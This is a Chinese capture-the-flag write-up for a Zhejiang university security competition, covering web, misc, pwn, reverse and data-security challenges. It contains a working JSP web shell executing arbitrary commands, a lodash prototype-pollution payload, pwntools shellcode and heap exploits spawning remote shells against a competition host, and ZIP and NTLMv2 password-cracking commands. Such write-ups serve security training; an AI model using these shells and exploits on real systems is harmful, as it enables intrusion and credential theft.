第七届浙江省大学生网络与信息安全竞赛预赛-WP

签到

网安知识大挑战

数据存储在js中

aes解密得到flag

签到题

1
Base92 -> Base85 -> Base64 -> Base62 -> Base58 -> Base45 -> Base32

DASCTF{welcome_to_zjctf_2024}

web

hack memory

访问/robot.txt得到/upload路径

没有限制,直接上传一个小马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
try
{
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
}
%>

flag内容需要再base64一次

easyjs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
const express = require('express');
const _ = require('lodash');
const fs = require('fs');
const app = express();

app.use(express.json());

// 存储笔记的对象
const notes = {};

// 创建新笔记
app.post('/api/notes', (req, res) => {
const noteId = req.body.id;
const noteData = req.body;

if (!noteId) {
return res.status(400).json({ error: 'Missing id' });
}

// 使用lodash.merge,该版本存在原型链污染漏洞
notes[noteId] = {};
_.merge(notes[noteId], noteData);
console.log('Note prototype:', Object.getPrototypeOf(notes[noteId]));
console.log('Note properties:', notes[noteId]);
res.json(notes[noteId]);
});

// 获取笔记
app.get('/api/notes/:id', (req, res) => {
const noteId = req.params.id;

if (!notes[noteId]) {
return res.status(404).json({ error: 'Note not found' });
}

res.json(notes[noteId]);
});

// 获取flag (仅管理员可访问)
app.get('/api/flag', (req, res) => {
const noteId = req.headers['note-id'];

if (!noteId || !notes[noteId]) {
return res.status(403).json({ error: 'Authentication required' });
}

if (!notes[noteId].isAdmin) {
return res.status(403).json({ error: 'Admin access required' });
}

try {
const flag = fs.readFileSync('/flag', 'utf8');
res.json({ flag: flag.trim() });
} catch (err) {
res.status(500).json({ error: 'Error reading flag' });
}
});

app.listen(8000, () => {
console.log('Server running on port 8000');
});

先创建一个笔记,isAdmin设为true

1
{"id":1,"isAdmin":true}

访问/api/flag的时候将note-id设为1即可得到flag

misc

RealSignin

图片尾数据dEFfc1dGq1pxMgMWnihrMx9mewNgdvIWMvctrc

stegsolve 0通道得到base码表

ABCDEFGHIJKLMNabcdefghijklmnopqrstuvwxyzOPQRSTUVWXYZ0123456789+/

base64换表得到flag

机密文档

简单爆破无果,尝试明文攻击

1
2
3
4
echo -n "the_secret_you_never_ever_know_hahahaha" > plain.out
./bkcrack -C 1.zip -c the_secret_you_never_ever_know_hahahaha.zip -p plain.out -o 30 -x 0 504B030414000000

./bkcrack -C 1.zip -k b8edf1ff c1f93a7e f93d08e0 -U 2.zip dr0n1

解压后得到一个dom文件,其中有一个名为key的vba宏代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Sub key()
Dim decValues As Variant
Dim str As String
Dim result As String
Dim i As Integer
Dim xorValue As Integer

decValues = Array(26, 25, 28, 0, 16, 1, 74, 75, 45, 29, 19, 49, 61, 60, 3)
str = "outguess"
result = ""

For i = LBound(decValues) To UBound(decValues)
xorValue = decValues(i) Xor Asc(Mid(str, (i Mod Len(str)) + 1, 1))
result = result & Chr(xorValue)
Next i

End Sub

解密

1
2
3
4
5
6
a=[26, 25, 28, 0, 16, 1, 74, 75, 45, 29, 19, 49, 61, 60, 3]
b=b'outguess'
d=[]
for i,k in enumerate(a):
d.append(b[i%len(b)]^k)
print(bytes(d))

得到key: ulhged98BhgVHYp

根据vba中的outguess提示,对文件中的图片使用outguess解密后得到flag

outguess -k 'ulhged98BhgVHYp' -r image1.jpg -t 1.txt

EZtraffic

导出SMB对象

导出的压缩包注释中得到NTLM v2 plaintext + \d{5}

那么根据NTLM v2的格式拼接后爆破即可

username::domain:challenge:HMAC-MD5:blob

在流量包中对应的数据如下

1
2
3
4
5
6
7
8
User name: rockyou
Domain name: MicrosoftAccount
Server Challenge: 4936df20962cae6d
NTproofStr: db12ced50faf52f141636e80205e8f28
NTLMv2 Response: 01010000000000003604281b951fdb017b4045aa008508eb0000000002001e00440042004500440036004200350041002d0035003100430032002d00340001001e00440042004500440036004200350041002d0035003100430032002d00340004004800640062006500640036006200350061002d0035003100630032002d0034003100650063002d0061006400380034002d0064006400320062003500370030006400350030003900360003004800640062006500640036006200350061002d0035003100630032002d0034003100650063002d0061006400380034002d00640064003200620035003700300064003500300039003600070008003604281b951fdb01060004000200000008003000300000000000000001000000002000008029a5d8256e5c2762f439df5c06f3bc411fb0faeb3a6fa52d9273c57b09f2d10a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e0031002e00380031000000000000000000

//HMAC-MD5对应数据包中的NTProofStr
//blob对应数据包中Response去掉NTProofStr的后半部分

rockyou::MicrosoftAccount:4936df20962cae6d:db12ced50faf52f141636e80205e8f28:01010000000000003604281b951fdb017b4045aa008508eb0000000002001e00440042004500440036004200350041002d0035003100430032002d00340001001e00440042004500440036004200350041002d0035003100430032002d00340004004800640062006500640036006200350061002d0035003100630032002d0034003100650063002d0061006400380034002d0064006400320062003500370030006400350030003900360003004800640062006500640036006200350061002d0035003100630032002d0034003100650063002d0061006400380034002d00640064003200620035003700300064003500300039003600070008003604281b951fdb01060004000200000008003000300000000000000001000000002000008029a5d8256e5c2762f439df5c06f3bc411fb0faeb3a6fa52d9273c57b09f2d10a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e0031002e00380031000000000000000000

使用hashcat爆破

hashcat -m 5600 1.txt rockyou.txt --show

掩码爆破得到haticehatice12580

解压后是100张小图片,使用gaps的效果不好,猜测有地方存储了拼图顺序

发现每张图片的Red 0通道保存有一张二维码

写脚本排序并拼图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from PIL import Image
import zxing
import os


def process_image_to_qrcode(image_path):
# 读取图片Red 0通道数据
img = Image.open(image_path)
w, h = img.size
rgb = ['']
for j in range(h):
for i in range(w):
data = img.getpixel((i, j))
rgb[0] += str(data[0] % 2)

# 转成二维码
img = Image.new('1', (w, h))
for j in range(h):
for i in range(w):
img.putpixel((i, j), int(rgb[0][j * w + i]))
img.save('./out/' + image_path.split('\\')[-1])

# 扫描二维码
reader = zxing.BarCodeReader()
barcode = reader.decode('./out/' + image_path.split('\\')[-1])

return image_path, barcode.parsed


path = "./final_out"
names = []
for root, dirs, files in os.walk(path):
for file in files:
names.append(os.path.join(root, file))

results = []
for name in names:
results.append(process_image_to_qrcode(name))
print(results[-1])


# 根据二维码内容排序,将图片合并 10*10
results.sort(key=lambda x: int(x[1]))
print(results)
width_i = 50
height_i = 50
line_max = 10
row_max = 10
pic_max = line_max * row_max
toImage = Image.new('RGB', (width_i * line_max, height_i * row_max))
for i in range(pic_max):
pic_path = results[i][0]
pic_fole_head = Image.open(pic_path)
tmppic = pic_fole_head.resize((width_i, height_i))
loc = (int(i % line_max * width_i), int(i // line_max * height_i))
toImage.paste(tmppic, loc)
toImage.save('merged.png')

pwn

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.arch='amd64'
shellcode="""pop rcx
xchg rdi,rdx
sub rcx,0x44
push rcx
ret
"""
print(len(asm(shellcode)))
#exit()
#p=process("./shellcode")
p=remote("139.155.126.78","32343")

#gdb.attach(p,'bp $rebase(0x1424)\nc')
pause()
p.send(asm(shellcode))

pause()
shellcode="""
mov rcx,rax
add rcx,0x100
mov rbx,0x50f
mov word ptr [rcx],bx
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
push 0x3b
pop rax
jmp rcx
"""
p.send(asm(shellcode))

p.interactive()

apple

存在数组越界可修改stdout的数据,利用io结构体获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.arch='amd64'
def add(ind,size):
p.sendafter('choice',p32(1))
p.sendafter(b'index',p32(ind&0xffffffff))
p.sendafter(b'long?',p32(size&0xffffffff))
pass
def show(ind):
p.sendafter('choice',p32(3))
p.sendafter(b'index',p32(ind&0xffffffff))
p.readuntil('>>>\n')
return p.readuntil('1.',drop=1)

def delete(ind):
p.sendafter('choice',p32(2))
p.sendafter(b'index',p32(ind&0xffffffff))
pass

def edit(ind,data):
p.sendafter('choice',p32(4))
p.sendafter(b'index',p32(ind&0xffffffff))

p.sendafter(b'>>>',data)
pass
p=process('./pwn')
libc=ELF("./libc.so.6")
add(0,0x500)
add(1,0x500)

delete(0)
d=u64(show(0).ljust(8,b'\x00'))
libc.address=d-0x21ace0
fake_io_add=libc.sym['_IO_2_1_stdout_']
gadget=libc.address+0xebc88
wfile_jump=libc.sym['_IO_wfile_jumps']
obstack_jump=libc.address+0x2173c0
gs=fake_io_add+0xe0
shelladd=gs+0xe8
mprotect=libc.sym['mprotect']
setcontext=libc.sym['setcontext']

shellcode=shellcraft.sh()


obstack=fake_io_add
context=fake_io_add+0xe8
shelladd=context+0xe8
fake_io=flat({
0x28: shelladd,
0x38: setcontext,
0x48: [context,1],
0xd8: obstack_jump+0x20,
0xe0: fake_io_add,
},filler=b'\x00')

cont=flat({
0x68: obstack&(~0xfff), # rdi
0x70: 0x1000, # rsi
0x88: 7, # rdx
0xa0: obstack+0x28, # rsp
0xa8: mprotect, # rcx->rip
0xe0: obstack
},filler=b'\x00')

payload=fake_io+cont+asm(shellcode)

for i in range(13):
add(i+2,0x300)
pause()
edit(-8,payload)
p.interactive()

reverse

ezRe

魔改rc4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class rc4():
def toBytes(self,data):
if type(data)==str:
return data.encode()
elif type(data)==bytes:
return data
else:
raise Exception("data Type Error")

def GetKey(self,data):
k=[132, 206, 173, 4, 211, 121, 250, 202, 41, 13, 59, 166, 91, 116, 34, 200, 248, 49, 102, 215, 63, 160, 21, 103, 135, 68, 208, 175, 36, 30, 146, 181, 38, 64, 194, 57, 165, 195, 79, 99, 141, 0, 145, 96, 189, 128, 5, 170, 90, 55, 148, 229, 73, 219, 104, 243, 15, 77, 123, 152, 111, 239, 2, 35, 93, 190, 9, 26, 105, 199, 167, 228, 84, 124, 143, 252, 232, 66, 130, 122, 8, 71, 28, 53, 172, 251, 203, 89, 209, 23, 147, 101, 127, 86, 137, 236, 184, 1, 185, 134, 24, 16, 50, 32, 100, 76, 230, 88, 19, 225, 168, 87, 43, 94, 207, 46, 22, 214, 136, 54, 164, 106, 133, 10, 198, 60, 98, 142, 110, 192, 220, 201, 222, 140, 82, 95, 51, 154, 62, 118, 221, 11, 125, 233, 108, 52, 17, 234, 254, 14, 18, 255, 120, 29, 155, 126, 153, 40, 176, 12, 177, 245, 171, 83, 156, 187, 191, 112, 80, 235, 244, 237, 109, 78, 249, 231, 149, 72, 216, 107, 241, 69, 174, 253, 27, 144, 182, 180, 150, 61, 162, 56, 163, 186, 37, 131, 65, 223, 39, 115, 138, 33, 218, 42, 157, 3, 97, 246, 210, 178, 158, 92, 240, 117, 47, 217, 205, 196, 70, 159, 129, 58, 81, 227, 6, 213, 74, 113, 151, 7, 67, 20, 45, 75, 139, 204, 44, 161, 226, 179, 119, 188, 247, 25, 31, 48, 242, 183, 197, 238, 193, 85, 114, 169, 224, 212]
return k

def Cipher(self,data):
data=self.toBytes(data)
enc=[]
k=self.Key.copy()
n=0
n1=0
tmp=0
key=[]
print(k)
for _ in range(50):
n=(n+1)&0xff
n1=(n1+k[n])&0xff
tmp=k[n]
k[n]=k[n1]
k[n1]=tmp
key.append(k[(k[n]+k[n1])%256])
print(key)
for c,k in zip(data,key):
enc.append(c^k^51)
return bytes(enc)


def __init__(self,key):
key=self.toBytes(key)
self.Key=self.GetKey(key)
self.__Key=key

def SetKey(self,key):
key=self.toBytes(key)
self.Key=self.GetKey(key)
self.__Key=key

import base64
b=base64.b64decode("w53Cj3HDgzTCsSM5wrg6FMKcw58Qw7RZSFLCljRxwrxbwrVdw4AEwqMjw7/DkMKTw4/Cv8Onw4NGw7jDmSdcwq4GGg==").decode("utf-8")
b_=[]
for i in b:
b_.append(ord(i))
key=b"7e021a7dd49e4bd0837e22129682551b"
key_=[]
for i in key:
key_.append(i^102)
r=rc4(bytes(key_))
print(r.Cipher(bytes(b_)))

信创安全

sm4rev

将文件在linux中运行一遍

发现在/tmp目录下生成了一个随机文件xxx开头的文件夹,里面存放了一个二进制程序

使用find-crypto插件发现是sm4加密,且是ECB模式

注意端序

1
2
3
4
5
6
7
8
9
10
11
v17 = list(range(6))
v17[0] = 0x01DE4BF77DAD5D82;
v17[1] = 0x4F456C06436A9EDC;
v17[2] = 0x6584914E6D690D85;
v17[3] = 0x2DABC532B0D82242;
v17[4] = 0x3E205B8369A8D383;
v17[5] = 0xBF353724125EBC3A;


for i in v17:
print(i.to_bytes(8, byteorder='little').hex(),end='')

密文: 825dad7df74bde01dc9e6a43066c454f850d696d4e9184654222d8b032c5ab2d83d3a869835b203e3abc5e12243735bf

密钥: 0123456789abcdeffedcba9876543210

DASCTF{SM4_is_secure_but_d0nt_t3ll_any0ne!}

数据安全

ds-enen

附加data.vhd没有内容

foremost分离出一个zip

数字暴力破解得到密码60111106

打开是一个csv表格,个性签名被加密了,看组成猜测是aes,用密码做为key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Cipher import AES
import pandas as pd
import base64

data = pd.read_csv('data.csv')
password = data['密码']
signature = data['个性签名(加密版)']


def aes_decrypt(ciphertext, key):
key = key.encode('utf-8') + (16 - len(key)) * b'\0'
ciphertext = base64.b64decode(ciphertext)
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext)
return plaintext


for i in range(len(password)):
if 'DASCTF' in aes_decrypt(signature[i], password[i]).decode('utf-8'):
print(aes_decrypt(signature[i], password[i]).decode('utf-8'))
break
else:
continue

DASCTF{dcd85182008e3a2d51b37f9845df3312}

ds-encode

2024年“羊城杯”粤港澳大湾区网络安全大赛 初赛的数据安全基本一样

区别是数据源给的不一样,这次是mysql数据库的文件

将题目给的文件全部复制到mysql中的data文件中即可,注意数据库版本需要是5.7(ib_logfile中可以看到)

剩下的就很简单了


第七届浙江省大学生网络与信息安全竞赛预赛-WP
https://www.dr0n.top/posts/42d6129/
作者
dr0n
发布于
2024年11月2日
更新于
2024年11月3日
许可协议